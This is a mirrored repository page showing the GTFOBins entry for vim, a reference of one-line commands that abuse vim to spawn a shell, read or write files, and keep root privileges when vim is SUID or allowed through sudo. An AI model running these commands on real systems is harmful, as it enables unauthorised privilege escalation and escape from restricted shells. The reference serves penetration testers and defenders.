This website requires JavaScript.
Explore
Help
Register
Sign In
mirror
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced
2026-01-11 09:51:33 +01:00
Code
Issues
ed9363fe2d
GTFOBins.github.io
/
_gtfobins
/
vim.md
Andrea Cardaci
ed9363fe2d
Fix broken shells in vi
...
Related to
#39
.
2018-12-03 15:59:37 +01:00
673 B
Raw
Blame
History
functions
shell
file-write
file-read
suid
sudo
code
vim -c ':!/bin/sh'
code
vim :set shell=/bin/sh :shell
description
code
This requires that vim is compiled with Python support.
vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
code
vim file_to_write iDATA ^[ w
code
vim file_to_read
code
./vim -c ':!/bin/sh -p'
code
sudo vim -c ':!/bin/sh'
code
description
sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
This requires that vim is compiled with Python support.